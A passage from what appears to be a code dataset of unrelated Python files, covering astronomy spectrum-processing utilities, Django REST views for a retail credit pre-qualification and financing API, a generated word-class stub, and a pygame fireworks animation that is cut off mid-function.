all_spec[0], all_spec[1:] if len(all_spec) > 1 else None\n\n (W, F, E), normalized = scrub(template), []\n if spectra:\n for S in spectra:\n normalized.append(norm_spec(S, [W, F, E], exclude=exclude + replace))\n if plot:\n plt.loglog(W, F, alpha=0.5), plt.fill_between(W, F - E, F + E, alpha=0.1)\n for w, f, e in normalized:\n plt.loglog(w, f, alpha=0.5), plt.fill_between(w, f - e, f + e, alpha=0.2)\n\n if composite:\n for n, (w, f, e) in enumerate(normalized):\n tries = 0\n while tries < 5:\n IDX, idx = np.where(np.logical_and(W < w[-1], W > w[0]))[0], \\\n np.where(np.logical_and(w > W[0], w < W[-1]))[0]\n if not any(IDX):\n normalized.pop(n), normalized.append([w, f, e])\n tries += 1\n else:\n if len(IDX) <= len(idx):\n (W0, F0, E0), (w0, f0, e0) = [i[IDX] * q.Unit('') for i in [W, F, E]], [i[idx] * q.Unit('')\n for i in [w, f, e]]\n else:\n (W0, F0, E0), (w0, f0, e0) = [i[idx] * q.Unit('') for i in [w, f, e]], [i[IDX] * q.Unit('')\n for i in [W, F, E]]\n f0, e0 = rebin_spec([w0, f0, e0], W0)[1:]\n f_mean, e_mean = np.array([np.average([fl, FL], weights=[1 / er, 1 / ER]) for fl, er, FL, ER in\n zip(f0, e0, F0, E0)]), np.sqrt(e0 ** 2 + E0 ** 2)\n spec1, spec2 = min([W, F, E], [w, f, e], key=lambda x: x[0][0]), max([W, F, E], [w, f, e],\n key=lambda x: x[0][-1])\n spec1, spec2 = [i[np.where(spec1[0] < W0[0])[0]] for i in spec1], [\n i[np.where(spec2[0] > W0[-1])[0]] for i in spec2]\n W, F, E = [np.concatenate([i[:-1], j[1:-1], k[1:]]) for i, j, k in\n zip(spec1, [W0, f_mean, e_mean], spec2)]\n tries = 5\n normalized.pop(n)\n\n if replace:\n W, F, E = modelReplace([W, F, E], replace=replace, D_Flam=D_Flam)\n\n if plot:\n if composite:\n plt.loglog(W, F, '--', c='k', lw=1), plt.fill_between(W, F - E, F + E, color='k', alpha=0.2)\n plt.yscale('log', nonposy='clip')\n\n if not composite:\n normalized.insert(0, template)\n else:\n normalized = [[W, F, E]]\n return normalized[0][:len(template)] if composite else normalized\n else:\n return [W, F, E]\n\n\ndef output_polynomial(n, m, sig='', x='x', y='y', title='', degree=1, c='k', ls='--', lw=2, legend=True, ax='',\n output_data=False, dictionary=True, plot_rms=True):\n p, residuals, rank, singular_values, rcond = np.polyfit(np.array(map(float, n)), np.array(map(float, m)), degree,\n w=1 / np.array([i if i else 1 for i in\n sig]) if sig != '' else None, full=True)\n f = np.poly1d(p)\n w = np.linspace(min(n), max(n), 50)\n ax.plot(w, f(w), color=c, ls=ls, lw=lw, label='${}$'.format(poly_print(p, x=x, y=y)) if legend else '', zorder=10)\n rms = np.sqrt(sum((m - f(n)) ** 2) / len(n))\n if plot_rms:\n ax.fill_between(w, f(w) - rms, f(w) + rms, color=c, alpha=0.1, zorder=-1)\n data = [[y, (min(n), max(n)), rms] + list(reversed(p))]\n\n D = {'yparam': y, 'xparam': x, 'rms': round(rms, 3), 'min': round(min(n), 1), 'max': round(max(n), 1)}\n D.update({'c{}'.format(str(o)): v for o, v in enumerate(list(reversed(p)))})\n\n print_data = np.asarray([[y, r'{:.1f}\\textless {}\\textless {:.1f}'.format(min(n), x, max(n)), '{:.3f}'.format(rms)] \n + ['{:.3e}'.format(v) for v in list(reversed(p))]])\n\n at.Table(print_data, names=['P(x)', 'x', 'rms'] + [r'$c_{}$'.format(str(i)) for i in range(len(p))]).pprint()\n print('\\n')\n # printer(['P(x)', 'x', 'rms'] + [r'$c_{}$'.format(str(i)) for i in range(len(p))], print_data, title=title,\n # to_txt='./Files/{} v {}.txt'.format(x, y) if output_data else False)\n return D if dictionary else data\n\n\ndef pi2pc(parallax, parallax_unc=0, pc2pi=False):\n if parallax:\n if pc2pi:\n return ((1 * q.pc * q.arcsec) / parallax).to(q.mas), (parallax_unc * q.pc * q.arcsec / parallax ** 2).to(\n q.mas)\n else:\n pi, sig_pi = parallax * q.arcsec / 1000., parallax_unc * q.arcsec / 1000.\n d, sig_d = (1 * q.pc * q.arcsec) / pi, sig_pi * q.pc * q.arcsec / pi ** 2\n return (d.round(3), sig_d.round(3))\n else:\n return ['', '']\n\n\ndef polynomial(values, coeffs, plot=False, color='g', ls='-', lw=2):\n '''\n Evaluates *values* given the list of ascending polynomial *coeffs*.\n\n Parameters\n ----------\n values: int, list, tuple, array\n The value or values to to evaluated\n coeffs: list, tuple, array\n The sequence of ascending polynomial coefficients beginning with zeroth order\n plot: bool (optional)\n Plot the results in the given color\n color: str\n The color of the line or fill color of the point to plot\n ls: str\n The linestyle of the line to draw\n lw: int\n The linewidth of the line to draw\n\n Returns\n -------\n out: float, list\n The evaluated results\n\n '''\n\n def poly_eval(val):\n return sum([c * (val ** o) for o, c in enumerate(coeffs)])\n\n if isinstance(coeffs, dict):\n coeffs = [coeffs[j] for j in sorted([i for i in coeffs.keys() if i.startswith('c')])]\n\n if isinstance(values, (int, float)):\n out = poly_eval(values)\n if plot:\n plt.errorbar([values], [out], marker='*', markersize=18, color=color, markeredgecolor='k',\n markeredgewidth=2, zorder=10)\n\n elif isinstance(values, (tuple, list, np.ndarray)):\n out = [poly_eval(v) for v in values]\n if plot:\n plt.plot(values, out, color=color, lw=lw, ls=ls)\n\n else:\n out = None; print(\"Input values must be an integer, float, or sequence of integers or floats!\")\n\n return out\n\n\ndef poly_print(coeff_list, x='x', y='y'): return '{} ={}'.format(y, ' '.join(['{}{:.3e}{}'.format(\n ' + ' if i > 0 else ' - ', abs(i), '{}{}'.format(x if n > 0 else '', '^{}'.format(n) if n > 1 else '')) for n, i in\n enumerate(coeff_list[::-1])][::-1]))\n\n\ndef printer(labels, values, format='', truncate=150, to_txt=None, highlight=[], skip=[], empties=True, title=False):\n \"\"\"\n Prints a nice table of *values* with *labels* with auto widths else maximum width if *same* else *col_len* if\n specified.\n \"\"\"\n\n def red(t):\n print(\"\\033[01;31m{0}\\033[00m\".format(t),)\n\n # if not to_txt: print '\\r'\n labels = list(labels)\n values = [[\"-\" if i == '' or i is None else \"{:.6g}\".format(i) if isinstance(i, (float, int)) else i if isinstance(\n i, (str, unicode)) else \"{:.6g} {}\".format(i.value, i.unit) if hasattr(i, 'unit') else i for i in j] for j in\n values]\n auto, txtFile = [max([len(i) for i in j]) + 2 for j in zip(labels, *values)], open(to_txt, 'a') if to_txt else None\n lengths = format if isinstance(format, list) else [min(truncate, i) for i in auto]\n col_len = [max(auto) for i in lengths] if format == 'max' else [150 / len(labels) for i in\n lengths] if format == 'fill' else lengths\n\n # If False, remove columns with no values\n if not empties:\n for n, col in enumerate(labels):\n if all([i[n] == '-' for i in values]):\n labels.pop(n)\n for i in values:\n i.pop(n)\n\n if title:\n if to_txt:\n txtFile.write(str(title))\n else:\n print(str(title))\n for N, (l, m) in enumerate(zip(labels, col_len)):\n if N not in skip:\n if to_txt:\n txtFile.write(str(l)[:truncate].ljust(m) if ' ' in str(l) else str(l)[:truncate].ljust(m))\n else:\n print(str(l)[:truncate].ljust(m),)\n for row_num, v in enumerate(values):\n if to_txt:\n txtFile.write('\\n')\n else:\n print('\\n',)\n for col_num, (k, j) in enumerate(zip(v, col_len)):\n if col_num not in skip:\n if to_txt:\n txtFile.write(str(k)[:truncate].ljust(j) if ' ' in str(k) else str(k)[:truncate].ljust(j))\n else:\n if (row_num, col_num) in highlight:\n red(str(k)[:truncate].ljust(j))\n else:\n print(str(k)[:truncate].ljust(j),)\n if not to_txt:\n print('\\n')\n\n\ndef rebin_spec(spec, wavnew, waveunits='um'):\n from pysynphot import spectrum, observation\n # Gives same error answer: Err = np.array([np.sqrt(sum(spec[2].value[idx_include(wavnew,[((wavnew[0] if n==0 else\n # wavnew[n-1]+wavnew[n])/2,wavnew[-1] if n==len(wavnew) else (wavnew[n]+wavnew[n+1])/2)])]**2)) for n in range(\n # len(wavnew)-1)])*spec[2].unit if spec[2] is not '' else ''\n if len(spec) == 2:\n spec += ['']\n try:\n Flx, Err, filt = spectrum.ArraySourceSpectrum(wave=spec[0].value,\n flux=spec[1].value), spectrum.ArraySourceSpectrum(\n wave=spec[0].value, flux=spec[2].value) if spec[2] else '', spectrum.ArraySpectralElement(spec[0].value,\n np.ones(\n len(spec[0])),\n waveunits=waveunits)\n except:\n spec, wavnew = [i * q.Unit('') for i in spec], wavnew * q.Unit('')\n Flx, Err, filt = spectrum.ArraySourceSpectrum(wave=spec[0].value,\n flux=spec[1].value), spectrum.ArraySourceSpectrum(\n wave=spec[0].value, flux=spec[2].value) if spec[2] else '', spectrum.ArraySpectralElement(spec[0].value,\n np.ones(\n len(spec[0])),\n waveunits=waveunits)\n return [wavnew, observation.Observation(Flx, filt, binset=wavnew.value, force='taper').binflux * spec[1].unit,\n observation.Observation(Err, filt, binset=wavnew.value, force='taper').binflux * spec[2].unit if spec[\n 2] else np.ones(len(wavnew)) * spec[1].unit]\n\n\ndef scrub(data):\n \"\"\"\n For input data [w,f,e] or [w,f] returns the list with NaN, negative, and zero flux (and corresponsing wavelengths and errors) removed.\n \"\"\"\n units = [i.unit if hasattr(i, 'unit') else 1 for i in data]\n data = [np.asarray(i.value if hasattr(i, 'unit') else i, dtype=np.float32) for i in data if\n isinstance(i, np.ndarray)]\n data = [i[np.where(~np.isinf(data[1]))] for i in data]\n data = [i[np.where(np.logical_and(data[1] > 0, ~np.isnan(data[1])))] for i in data]\n data = [i[np.unique(data[0], return_index=True)[1]] for i in data]\n return [i[np.lexsort([data[0]])] * Q for i, Q in zip(data, units)]\n\n\ndef smooth(x, beta):\n \"\"\"\n Smooths a spectrum *x* using a Kaiser-Bessel smoothing window of narrowness *beta* (~1 => very smooth, ~100 => not smooth)\n \"\"\"\n window_len = 11\n s = np.r_[x[window_len - 1:0:-1], x, x[-1:-window_len:-1]]\n w = np.kaiser(window_len, beta)\n y = np.convolve(w / w.sum(), s, mode='valid')\n return y[5:len(y) - 5] * (x.unit if hasattr(x, 'unit') else 1)\n\n\ndef specType(SpT):\n \"\"\"\n (By Joe Filippazzo)\n\n Converts between float and letter/number M, L, T and Y spectral types (e.g. 14.5 => 'L4.5' and 'T3' => 23).\n\n *SpT*\n Float spectral type between 0.0 and 39.9 or letter/number spectral type between M0.0 and Y9.9\n \"\"\"\n if isinstance(SpT, str) and SpT[0] in ['M', 'L', 'T', 'Y']:\n try:\n return [l + float(SpT[1:]) for m, l in zip(['M', 'L', 'T', 'Y'], [0, 10, 20, 30]) if m == SpT[0]][0]\n except:\n print(\"Spectral type must be a float between 0 and 40 or a string of class M, L, T or Y.\")\n return SpT\n elif isinstance(SpT, float) or isinstance(SpT, int) and 0.0 <= SpT < 40.0:\n try:\n return '{}{}'.format('MLTY'[int(SpT // 10)], int(SpT % 10) if SpT % 10 == int(SpT % 10) else SpT % 10)\n except:\n print(\"Spectral type must be a float between 0 and 40 or a string of class M, L, T or Y.\")\n return SpT\n else:\n return SpT\n\n\ndef str2Q(x, target=''):\n \"\"\"\n Given a string of units unconnected to a number, returns the units as a quantity to be multiplied with the number.\n Inverse units must be represented by a forward-slash prefix or negative power suffix, e.g. inverse square seconds may be \"/s2\" or \"s-2\"\n\n *x*\n The units as a string, e.g. str2Q('W/m2/um') => np.array(1.0) * W/(m**2*um)\n *target*\n The target units as a string if rescaling is necessary, e.g. str2Q('Wm-2um-1',target='erg/s/cm2/cm') => np.array(10000000.0) * erg/(cm**3*s)\n \"\"\"\n if x:\n def Q(IN):\n OUT = 1\n text = ['Jy', 'erg', '/s', 's-1', 's', '/um', 'um-1', 'um', '/nm', 'nm-1', 'nm', '/cm2', 'cm-2', 'cm2',\n '/cm', 'cm-1', 'cm', '/A', 'A-1', 'A', 'W', '/m2', 'm-2', 'm2', '/m', 'm-1', 'm', '/Hz', 'Hz-1']\n vals = [q.Jy, q.erg, q.s ** -1, q.s ** -1, q.s, q.um ** -1, q.um ** -1, q.um, q.nm ** -1, q.nm ** -1, q.nm,\n q.cm ** -2, q.cm ** -2, q.cm ** 2, q.cm ** -1, q.cm ** -1, q.cm, q.AA ** -1, q.AA ** -1, q.AA, q.W,\n q.m ** -2, q.m ** -2, q.m ** 2, q.m ** -1, q.m ** -1, q.m, q.Hz ** -1, q.Hz ** -1]\n for t, v in zip(text, vals):\n if t in IN:\n OUT = OUT * v\n IN = IN.replace(t, '')\n return OUT\n\n unit = Q(x)\n if target:\n z = str(Q(target)).split()[-1]\n try:\n unit = unit.to(z)\n except ValueError:\n print(\"{} could not be rescaled to {}\".format(unit, z))\n\n return unit\n else:\n return q.Unit('')\n\n\ndef squaredError(a, b, c):\n \"\"\"\n Computes the squared error of two arrays. Pass to scipy.optimize.fmin() to find least square or use scipy.optimize.leastsq()\n \"\"\"\n a -= b\n a *= a\n c = np.array([1 if np.isnan(e) else e for e in c])\n return sum(a / c)\n\n\ndef radec(rd, id=False, update=False):\n \"\"\"\n Converts SXG coordinates to decimal degrees and updates the database if a source_id and database instance are passed\n \"\"\"\n sign = '+' if '+' in rd[1:] else '-'\n ra, dec = rd.replace(':', '').replace(' ', '').split(sign)\n RA = cd.Angle(ra[:2] + ' ' + ra[2:4] + ' ' + ra[4:6] + ('.' if '.' not in ra else '') + ra[6:], unit='degree')\n DEC = cd.Angle(sign + dec[:2] + ' ' + dec[2:4] + ' ' + dec[4:6] + ('.' if '.' not in dec else '') + dec[6:],\n unit='degree')\n radeg = '{:.5f}'.format(RA.value)\n decdeg = '{:.5f}'.format(DEC.value)\n if update and id:\n update.modify(\"update sources set ra={}, dec={} where id={}\".format(radeg, decdeg, id))\n else:\n print(radeg, decdeg)\n\n\ndef trim_spectrum(spectrum, regions, smooth_edges=False):\n trimmed_spec = [i[idx_exclude(spectrum[0], regions)] for i in spectrum]\n if smooth_edges:\n for r in regions:\n try:\n if any(spectrum[0][spectrum[0] > r[1]]):\n trimmed_spec = inject_average(trimmed_spec, r[1], 'right', n=smooth_edges)\n except:\n pass\n try:\n if any(spectrum[0][spectrum[0] < r[0]]):\n trimmed_spec = inject_average(trimmed_spec, r[0], 'left', n=smooth_edges)\n except:\n pass\n return trimmed_spec\n\n\ndef truncate_colormap(cmap, minval=0.0, maxval=1.0, n=100):\n \"\"\"\n Take a slice of a colormap\n \"\"\"\n import matplotlib.colors as clrs\n new_cmap = clrs.LinearSegmentedColormap.from_list(\n 'trunc({n},{a:.2f},{b:.2f})'.format(n=cmap.name, a=minval, b=maxval),\n cmap(np.linspace(minval, maxval, n)))\n return new_cmap\n\n\ndef unc(spectrum, SNR=20):\n \"\"\"\n Removes NaNs negatives and zeroes from *spectrum* arrays of form [W,F] or [W,F,E].\n Generates E at signal to noise *SNR* for [W,F] and replaces NaNs with the same for [W,F,E].\n \"\"\"\n S = scrub(spectrum)\n if len(S) == 3:\n try:\n S[2] = np.array([i / SNR if np.isnan(j) else j for i, j in zip(S[1], S[2])], dtype='float32') * (\n S[1].unit if hasattr(S[1], 'unit') else 1)\n except:\n S[2] = np.array(S[1] / SNR)\n elif len(S) == 2:\n S.append(S[1] / SNR)\n return S\n","sub_path":"SEDkit/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":55237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"456863015","text":"from django.core import signing, exceptions\nfrom django.db import transaction\nfrom django.shortcuts import redirect\nfrom django.utils.decorators import method_decorator\nfrom django.utils.http import is_safe_url\nfrom django.utils.translation import gettext_lazy as _\nfrom rest_framework.response import Response\nfrom rest_framework import views, generics, status, serializers\nfrom oscarapi.basket import operations\nfrom ..core.signals import wfrs_sdk_app_approved\nfrom ..models import (\n APIMerchantNum,\n SDKMerchantNum,\n PreQualificationRequest,\n PreQualificationResponse,\n FinancingPlan,\n PreQualificationSDKApplicationResult,\n AccountInquiryResult,\n)\nfrom ..utils import list_plans_for_basket, calculate_monthly_payments\nfrom .serializers import (\n CreditApplicationSerializer,\n FinancingPlanSerializer,\n EstimatedPaymentSerializer,\n AccountInquirySerializer,\n PreQualificationRequestSerializer,\n PreQualificationResponseSerializer,\n PreQualificationSDKResponseSerializer,\n PreQualificationSDKApplicationResultSerializer,\n)\nfrom .exceptions import CreditApplicationPending\nimport decimal\n\nINQUIRY_SESSION_KEY = \"wfrs-acct-inquiry-id\"\nPREQUAL_SESSION_KEY = \"wfrs-prequal-request-id\"\nSDK_APP_RESULT_SESSION_KEY = \"wfrs-sdk-app-result-id\"\n\n\n# This (non-atomic request) is needed because we use exceptions to bubble up the application pending / declined\n# status, but when that happens we still want to save the application data (rather than rollback).\n@method_decorator(transaction.non_atomic_requests, name=\"dispatch\")\nclass CreditApplicationView(generics.GenericAPIView):\n serializer_class = CreditApplicationSerializer\n\n def post(self, request):\n request_ser = self.get_serializer_class()(\n data=request.data, context={\"request\": request}\n )\n request_ser.is_valid(raise_exception=True)\n try:\n result = request_ser.save()\n except CreditApplicationPending as e:\n request.session[INQUIRY_SESSION_KEY] = e.inquiry.pk\n raise e\n response_ser = AccountInquirySerializer(\n instance=result, context={\"request\": request}\n )\n request.session[INQUIRY_SESSION_KEY] = result.pk\n return Response(response_ser.data)\n\n\nclass FinancingPlanView(views.APIView):\n def get(self, request):\n basket = operations.get_basket(request)\n plans = list_plans_for_basket(basket)\n ser = FinancingPlanSerializer(plans, many=True)\n return Response(ser.data)\n\n\nclass EstimatedPaymentView(views.APIView):\n def get(self, request):\n # Validate the price input\n try:\n principal_price = request.GET.get(\"price\", \"\")\n principal_price = decimal.Decimal(principal_price).quantize(\n decimal.Decimal(\"0.00\")\n )\n except decimal.InvalidOperation:\n principal_price = decimal.Decimal(\"0.00\")\n\n if not principal_price or principal_price <= 0:\n data = {\n \"price\": _(\"Submitted price parameter was not valid.\"),\n }\n return Response(data, status=status.HTTP_400_BAD_REQUEST)\n\n # Get the best matching Financing Plan object for the price\n plan = FinancingPlan.get_advertisable_plan_by_price(principal_price)\n if not plan:\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n # Calculate the monthly payment\n monthly_payment = calculate_monthly_payments(\n principal_price, plan.term_months, plan.apr\n )\n\n # Calculate the total loan cost\n loan_cost = (monthly_payment * plan.term_months) - principal_price\n loan_cost = max(decimal.Decimal(\"0.00\"), loan_cost)\n loan_cost = loan_cost.quantize(principal_price, rounding=decimal.ROUND_UP)\n\n # Return the payment data\n ser = EstimatedPaymentSerializer(\n instance={\n \"plan\": plan,\n \"principal\": principal_price,\n \"monthly_payment\": monthly_payment,\n \"loan_cost\": loan_cost,\n }\n )\n return Response(ser.data)\n\n\nclass UpdateAccountInquiryView(views.APIView):\n \"\"\"\n After submitting a credit app, a client may use this view to update their credit limit info (for\n example, if the credit app was returned as pending).\n \"\"\"\n\n def post(self, request):\n # Check for ID of last account inquiry in session (from the credit app view)\n inquiry_id = request.session.get(INQUIRY_SESSION_KEY)\n if not inquiry_id:\n return Response(status=status.HTTP_204_NO_CONTENT)\n try:\n inquiry = AccountInquiryResult.objects.get(pk=inquiry_id)\n except AccountInquiryResult.DoesNotExist:\n return Response(status=status.HTTP_204_NO_CONTENT)\n # Make sure we have an account number to work with\n account_number = inquiry.account_number\n if not account_number or account_number.startswith(\"xxxx\"):\n return Response(status=status.HTTP_204_NO_CONTENT)\n # Perform another inquiry on the account\n request_ser = AccountInquirySerializer(\n data={\"account_number\": account_number}, context={\"request\": request}\n )\n request_ser.is_valid(raise_exception=True)\n result = request_ser.save()\n if result is None:\n return Response(status=status.HTTP_204_NO_CONTENT)\n # Update the inquiry source to match the original inquiry\n result.credit_app_source = inquiry.credit_app_source\n result.prequal_response_source = inquiry.prequal_response_source\n result.save()\n # Update the session to have the new inquiry ID\n request.session[INQUIRY_SESSION_KEY] = result.pk\n # Return the results\n response_ser = AccountInquirySerializer(\n instance=result, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n\nclass SubmitAccountInquiryView(generics.GenericAPIView):\n serializer_class = AccountInquirySerializer\n\n def post(self, request):\n # Perform an account inquiry using the submitted account number\n request_ser = self.get_serializer_class()(\n data=request.data, context={\"request\": request}\n )\n request_ser.is_valid(raise_exception=True)\n result = request_ser.save()\n if result is None:\n return Response(status=status.HTTP_204_NO_CONTENT)\n # Update the session to have the new inquiry ID\n request.session[INQUIRY_SESSION_KEY] = result.pk\n # Return the results\n response_ser = self.get_serializer_class()(\n instance=result, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n\nclass PreQualificationSDKMerchantNumView(generics.GenericAPIView):\n def get(self, request):\n # If this merchant number is used for following up on a prescreen offer, we have to use the API\n # merchant num, not the SDK merchant num.\n if request.GET.get(\"role\") == \"prescreen\":\n creds = APIMerchantNum.get_for_user(request.user)\n else:\n creds = SDKMerchantNum.get_for_user(request.user)\n return Response(\n {\n \"merchant_name\": creds.name,\n \"merchant_num\": creds.merchant_num,\n }\n )\n\n\nclass PreQualificationResumeView(generics.GenericAPIView):\n def get(self, request, signed_prequal_request_id):\n # Validate signed ID\n signer = signing.Signer()\n try:\n prequal_request_id = signer.unsign(signed_prequal_request_id)\n except signing.BadSignature:\n raise exceptions.SuspiciousOperation(\"Invalid Signature\")\n\n # Get and validate redirect URL\n redirect_url = self.request.GET.get(\"next\", \"/\")\n redirect_url_is_safe = is_safe_url(\n url=redirect_url,\n allowed_hosts=set((request.get_host(),)),\n require_https=request.is_secure(),\n )\n if not redirect_url_is_safe:\n redirect_url = \"/\"\n\n # Make sure request ID is valid\n try:\n prequal_request = PreQualificationRequest.objects.get(pk=prequal_request_id)\n except PreQualificationRequest.DoesNotExist:\n raise exceptions.SuspiciousOperation(\n \"PreQualificationRequest does not exist\"\n )\n\n # Put ID into session and redirect to next view\n request.session[PREQUAL_SESSION_KEY] = prequal_request.pk\n return redirect(redirect_url)\n\n\nclass PreQualificationRequestView(generics.GenericAPIView):\n serializer_class = PreQualificationRequestSerializer\n\n def get(self, request):\n prequal_request_id = request.session.get(PREQUAL_SESSION_KEY)\n if not prequal_request_id:\n return Response(status=status.HTTP_204_NO_CONTENT)\n try:\n prequal_response = PreQualificationResponse.objects.get(\n request__id=prequal_request_id\n )\n except PreQualificationResponse.DoesNotExist:\n return Response(status=status.HTTP_204_NO_CONTENT)\n response_ser = PreQualificationResponseSerializer(\n instance=prequal_response, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n def post(self, request):\n request_ser = self.get_serializer_class()(\n data=request.data, context={\"request\": request}\n )\n request_ser.is_valid(raise_exception=True)\n prequal_request = request_ser.save()\n try:\n prequal_response = prequal_request.response\n except PreQualificationResponse.DoesNotExist:\n return Response(status=status.HTTP_204_NO_CONTENT)\n request.session[PREQUAL_SESSION_KEY] = prequal_request.pk\n response_ser = PreQualificationResponseSerializer(\n instance=prequal_response, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n\nclass PreQualificationSDKResponseView(PreQualificationRequestView):\n serializer_class = PreQualificationSDKResponseSerializer\n\n\nclass PreQualificationSDKApplicationResultView(generics.GenericAPIView):\n serializer_class = PreQualificationSDKApplicationResultSerializer\n\n def get(self, request):\n # Try to find an existing SDK app result for this session\n sdk_application_result = self._get_sdk_app_result_from_session(request)\n if sdk_application_result is None:\n return Response(status=status.HTTP_204_NO_CONTENT)\n response_ser = self.get_serializer_class()(\n instance=sdk_application_result, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n def post(self, request):\n # Try to find an existing SDK app result for this session\n instance = self._get_sdk_app_result_from_session(request)\n # Save the SDK app response data\n request_ser = self.get_serializer_class()(\n instance=instance, data=request.data, context={\"request\": request}\n )\n request_ser.is_valid(raise_exception=True)\n sdk_application_result = request_ser.save()\n # Try to associate the SDK app result with the PreQual response data\n try:\n prequal_request_id = request.session.get(PREQUAL_SESSION_KEY)\n prequal_response = PreQualificationResponse.objects.get(\n request__id=prequal_request_id\n )\n sdk_application_result.prequal_response = prequal_response\n sdk_application_result.save()\n except PreQualificationResponse.DoesNotExist:\n pass\n # Update the ID in the session\n request.session[SDK_APP_RESULT_SESSION_KEY] = sdk_application_result.pk\n if sdk_application_result.application_status == \"APPROVED\":\n wfrs_sdk_app_approved.send(\n sender=sdk_application_result.__class__, app=sdk_application_result\n )\n # Return the SDK app result data\n response_ser = self.get_serializer_class()(\n instance=sdk_application_result, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n def _get_sdk_app_result_from_session(self, request):\n instance = None\n # Try looking up PreQualificationSDKApplicationResult by ID stored in the session\n sdk_app_result_id = request.session.get(SDK_APP_RESULT_SESSION_KEY)\n if sdk_app_result_id is not None:\n try:\n instance = PreQualificationSDKApplicationResult.objects.get(\n pk=sdk_app_result_id\n )\n except PreQualificationSDKApplicationResult.DoesNotExist:\n pass\n # Try looking up PreQualificationSDKApplicationResult by session's PreQualificationRequest ID\n prequal_request_id = request.session.get(PREQUAL_SESSION_KEY)\n if prequal_request_id is not None:\n try:\n instance = PreQualificationSDKApplicationResult.objects.get(\n prequal_response__request__id=prequal_request_id\n )\n except PreQualificationSDKApplicationResult.DoesNotExist:\n pass\n return instance\n\n\nclass PreQualificationCustomerResponseView(views.APIView):\n def post(self, request):\n prequal_request_id = request.session.get(PREQUAL_SESSION_KEY)\n if not prequal_request_id:\n raise serializers.ValidationError(\n _(\"No pre-qualification response was found for this session.\")\n )\n try:\n prequal_response = PreQualificationResponse.objects.get(\n request__id=prequal_request_id\n )\n except PreQualificationResponse.DoesNotExist:\n raise serializers.ValidationError(\n _(\"No pre-qualification response was found for this session.\")\n )\n serializer = PreQualificationResponseSerializer(\n instance=prequal_response, data=request.data, context={\"request\": request}\n )\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return Response(serializer.data)\n","sub_path":"src/wellsfargo/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"636038326","text":"\n\nfrom xai.brain.wordbase.nouns._hook import _HOOK\n\n#calss header\nclass _HOOKING(_HOOK, ):\n\tdef __init__(self,): \n\t\t_HOOK.__init__(self)\n\t\tself.name = \"HOOKING\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"hook\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_hooking.py","file_name":"_hooking.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"539726714","text":"import pygame as pg\nimport math\nimport numpy as np\nimport random\nfrom .Vec2D import Vec2D\nfrom .util import point_rot, clip, get_points\n\nclass Firework:\n FLYING = 1\n EXPLODING = 2\n FADING = 3\n FINISHED = 4\n\n def __init__(self, start, end, ToF, explosion_colour):\n self.start = start\n self.end = end\n self.flight_distance = (start-end).length()\n self.pos = start.copy()\n\n self.ToF = ToF\n self.elapsed_ToF = 0\n\n self.vel = (end-start)/ToF\n self.state = Firework.FLYING\n\n self.explosion_duration = 0.5\n self.elapsed_explosion_duration = 0\n\n self.fade_duration = 0.5\n self.elapsed_fade_duration = 0\n\n self.streak_colour = (155, 155, 155)\n self.explosion_colour = explosion_colour\n # self.explosion_colour = (0, 255, 0)\n\n self.total_rays = random.randint(8, 12)\n self.angles = np.linspace(0, 1, self.total_rays+1)[:-1] * math.pi * 2\n self.ray_dirs = [point_rot(Vec2D(0, 1), alpha) for alpha in self.angles]\n \n def is_finished(self):\n return (self.state == Firework.FINISHED)\n \n def update(self, dt):\n if self.is_finished():\n return\n \n if self.state == Firework.FLYING:\n self.pos += self.vel*dt\n self.elapsed_ToF = clip(self.elapsed_ToF+dt, 0, self.ToF)\n if self.elapsed_ToF >= self.ToF:\n self.state = Firework.EXPLODING\n return\n \n if self.state == Firework.EXPLODING:\n self.elapsed_explosion_duration = clip(\n self.elapsed_explosion_duration+dt, \n 0, self.explosion_duration)\n if self.elapsed_explosion_duration >= self.explosion_duration:\n self.state = Firework.FADING\n return\n \n if self.state == Firework.FADING:\n self.elapsed_fade_duration = clip(\n self.elapsed_fade_duration+dt,\n 0, self.fade_duration)\n if self.elapsed_fade_duration >= self.fade_duration:\n self.state = Firework.FINISHED\n return\n\n def render(self, surface):\n if self.is_finished():\n return\n\n if self.state == Firework.FLYING:\n self.render_streak(surface)\n elif self.state == Firework.EXPLODING:\n self.render_explosion(surface)\n elif self.state == Firework.FADING:\n self.render_fade(surface)\n \n def render_explosion(self, surface):\n prog = self.elapsed_explosion_duration / self.explosion_duration\n self.render_fireball(surface, prog)\n self.render_rays(surface, prog)\n \n def render_fade(self, surface):\n prog = self.elapsed_fade_duration / self.fade_duration\n alpha = int((1-prog)*255)\n\n image = pg.Surface(surface.get_size())\n image.set_colorkey((0, 0, 0))\n image.set_alpha(alpha)\n\n self.render_fireball(image, 1)\n self.render_rays(image, 1)\n\n surface.blit(image, (0, 0))\n\n def render_rays(self, surface, prog):\n # center of explosion\n pos = self.end\n max_length = 55\n\n upper = max_length*prog\n lower = max_length*0.2*prog\n\n ray_thickness = 5\n\n for alpha, ray_dir in zip(self.angles, self.ray_dirs):\n dim = Vec2D(ray_thickness, upper-lower)\n ray_pos = pos + ray_dir*(upper-lower)\n points = get_points(ray_pos, alpha, dim)\n points = [p.cast_tuple(int) for p in points]\n\n pg.draw.polygon(surface, self.explosion_colour, points)\n \n def render_fireball(self, surface, prog):\n # center of explosion\n pos = self.end\n max_explosion_radius = 40\n K_min = 0.25\n K = (1-prog)*(1-K_min) + K_min\n explosion_radius = max_explosion_radius * K\n\n pg.draw.circle(\n surface, self.explosion_colour,\n pos.cast_tuple(int), int(explosion_radius))\n \n def render_streak(self, surface):\n prog = self.elapsed_ToF / self.ToF\n K = math.cos(prog * math.pi * 2)\n K = K/2 + 0.5\n K = 1-K\n # K = 